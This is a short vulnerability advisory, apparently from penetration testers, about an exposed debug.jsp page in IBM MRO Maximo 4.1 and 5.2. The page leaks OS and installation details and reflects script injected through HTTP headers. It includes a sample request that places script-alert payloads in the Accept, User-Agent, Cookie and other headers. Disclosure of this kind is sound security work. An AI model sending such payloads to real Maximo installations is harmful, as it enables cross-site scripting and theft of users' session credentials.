Affected Software/Device: IBM MRO MAXIMO  

Tested Version: 4.1 , 5.2  

Vulnerability: Cross Site Scripting & Information Disclosure  

Risk: Low / Medium  

Description: MRO Maximo is a strategic asset and service management system that runs on a number of databases including Oracle, SQL Server and IBM DB2. It is used by a wide variety of organizations ranging from municipal and county governments, to corporations to government contractors. We identified several security problems which are not reported before during our pen-tests.  

1- Maximo contains publicly accessible application named debug.jsp. This application discloses useful information for attackers such as installed OS type and version, full installation path of application. A Remote attacker can use this information for further attacks.  


2 - Debug.jsp is vulnerable to cross-site scripting, caused by improper validation of values in HTTP Header such as User-Agent, Cookie, etc. A remote attacker could exploit this vulnerability to inject malicious script into a Web page which would be executed in a victim's Web browser within the security context of the hosting Web site, once the page is viewed. An attacker could use this vulnerability to steal the victim's cookie-based authentication credentials.  

Sample Request:  

GET /jsp/common/system/debug.jsp HTTP/1.1

Accept: <script>alert('XSS');</script>

Accept-Language: <script>alert('XSS');</script>

UA-CPU: <script>alert('XSS');</script>

Accept-Encoding: <script>alert('XSS');</script>

User-Agent: <script>alert('XSS');</script>

Host: maximo

Connection: Keep-Alive

Cookie: <script>alert('XSS');</script>
